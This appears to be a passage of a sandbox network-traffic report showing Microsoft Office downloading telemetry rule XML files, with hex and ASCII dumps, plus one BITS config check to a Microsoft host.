2024-12-07 17:26:22 UTC	632	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 48 68 5d 5b 50 70 5d 28 5b 5e 45 5d 7c 24 29 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 33 22 20 52 3d 22 28 5b 48 68 5d 5b 45 65 5d 5b 57 77 5d 5b 4c 6c 5d 5b 45 65 5d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120613" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120611" /> <SR T="2" R="^([Hh][Pp]([^E]\|$))"> <S T="1" F="1" M="Ignore" /> </SR> <SR T="3" R="([Hh][Ee][Ww][Ll][Ee]

Session ID	Source IP	Source Port	Destination IP	Destination Port
12	192.168.2.7	49715	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 17:26:21 UTC	192	OUT	GET /rules/rule120609v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 17:26:22 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 17:26:22 GMT Content-Type: text/xml Content-Length: 408 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB56D3AFB" x-ms-request-id: b9950e54-401e-0015-4806-480e8d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T172622Z-r1cf579d778x776bhC1EWRdk800000000320000000001nkc x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 17:26:22 UTC	408	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 38 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 44 64 5d 5b 45 65 5d 5b 4c 6c 5d 5b 4c 6c 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120609" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120682" /> <SR T="2" R="^([Dd][Ee][Ll][Ll])"> <S T="1" F="0" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
13	192.168.2.7	49718	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 17:26:21 UTC	192	OUT	GET /rules/rule120612v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 17:26:22 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 17:26:22 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:25 GMT ETag: "0x8DC582BB10C598B" x-ms-request-id: 3de6f1c3-b01e-003d-6e01-48d32c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T172622Z-r1cf579d778zvkpnhC1EWRv23g000000038g000000002scu x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 17:26:22 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120612" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120611" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
14	192.168.2.7	49717	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 17:26:23 UTC	192	OUT	GET /rules/rule120611v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 17:26:24 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 17:26:24 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:56 GMT ETag: "0x8DC582B9F6F3512" x-ms-request-id: 9879796e-101e-0034-5802-4896ff000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T172624Z-r1cf579d7789trgthC1EWRkkfc00000003ng000000004zng x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 17:26:24 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4c 6c 5d 5b 45 65 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 56 76 5d 5b 4f 6f 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120611" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120609" /> <SR T="2" R="([Ll][Ee][Nn][Oo][Vv][Oo])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
15	192.168.2.7	49724	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 17:26:24 UTC	192	OUT	GET /rules/rule120617v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 17:26:24 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 17:26:24 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:02 GMT ETag: "0x8DC582BA310DA18" x-ms-request-id: 682fb484-401e-0083-5904-48075c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T172624Z-r1cf579d778dfdgnhC1EWRd3w000000002u0000000002x0s x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 17:26:24 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 5b 53 73 5d 5b 4f 6f 5d 5b 46 66 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120617" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120615" /> <SR T="2" R="([Mm][Ii][Cc][Rr][Oo][Ss][Oo][Ff][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
16	192.168.2.7	49723	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 17:26:24 UTC	192	OUT	GET /rules/rule120616v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 17:26:24 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 17:26:24 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB344914B" x-ms-request-id: 3fcfbabf-e01e-0052-0903-48d9df000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T172624Z-r1cf579d778kr8xrhC1EWRfkun00000003eg000000004e6h x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 17:26:24 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120616" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120615" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
17	192.168.2.7	49722	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 17:26:24 UTC	192	OUT	GET /rules/rule120615v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 17:26:24 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 17:26:24 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:42 GMT ETag: "0x8DC582BBAD04B7B" x-ms-request-id: b569e8fb-501e-008c-5305-48cd39000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T172624Z-r1cf579d7789trgthC1EWRkkfc00000003kg000000008047 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 17:26:24 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 53 73 5d 5b 55 75 5d 5b 53 73 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120615" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120613" /> <SR T="2" R="([Aa][Ss][Uu][Ss])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
18	192.168.2.7	49721	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 17:26:24 UTC	192	OUT	GET /rules/rule120614v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 17:26:24 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 17:26:24 GMT Content-Type: text/xml Content-Length: 467 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:08 GMT ETag: "0x8DC582BA6C038BC" x-ms-request-id: c4bc35ba-101e-007a-7206-48047e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T172624Z-r1cf579d778x776bhC1EWRdk8000000002vg000000008rqd x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 17:26:24 UTC	467	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120614" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120613" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.7	49730	2.16.229.162	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 17:26:25 UTC	161	OUT	HEAD /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-12-07 17:26:26 UTC	478	IN	HTTP/1.1 200 OK Content-Type: application/octet-stream Server: Kestrel ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" Last-Modified: Tue, 16 May 2017 22:58:00 GMT X-Ms-ApiVersion: Distribute 1.2 X-Ms-Region: prod-weu-z1 Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json X-OSID: 2 X-CID: 2 X-CCC: GB Cache-Control: public, max-age=56062 Date: Sat, 07 Dec 2024 17:26:26 GMT Connection: close X-CID: 2

Session ID	Source IP	Source Port	Destination IP	Destination Port
20	192.168.2.7	49732	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 17:26:26 UTC	192	OUT	GET /rules/rule120618v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 17:26:26 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 17:26:26 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:30 GMT ETag: "0x8DC582B9018290B" x-ms-request-id: 22943564-b01e-0021-0b03-48cab7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T172626Z-r1cf579d77898tqwhC1EWRf9q80000000340000000000fye x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 17:26:26 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120618" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120617" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
21	192.168.2.7	49736	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 17:26:26 UTC	192	OUT	GET /rules/rule120622v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 17:26:26 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 17:26:26 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:38 GMT ETag: "0x8DC582BB8CEAC16" x-ms-request-id: fff301c7-601e-0097-4606-48f33a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T172626Z-r1cf579d778qgtz2hC1EWRmgks00000002u000000000478h x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 17:26:26 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120622" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120621" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
22	192.168.2.7	49734	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 17:26:26 UTC	192	OUT	GET /rules/rule120620v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 17:26:26 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 17:26:26 GMT Content-Type: text/xml Content-Length: 469 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA701121" x-ms-request-id: 3bfd724e-501e-0016-6705-48181b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T172626Z-r1cf579d778dfdgnhC1EWRd3w000000002sg0000000050k0 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 17:26:26 UTC	469	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120620" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120619" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
23	192.168.2.7	49735	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 17:26:26 UTC	192	OUT	GET /rules/rule120621v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 17:26:26 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 17:26:26 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA41997E3" x-ms-request-id: 1f14184f-601e-0050-3802-482c9c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T172626Z-r1cf579d778mvsklhC1EWRkavg000000033000000000am2z x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 17:26:26 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 56 76 5d 5b 4d 6d 5d 5b 57 77 5d 5b 41 61 5d 5b 52 72 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120621" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120619" /> <SR T="2" R="([Vv][Mm][Ww][Aa][Rr][Ee])"> <S T="1" F="1" M="Ignore" /> 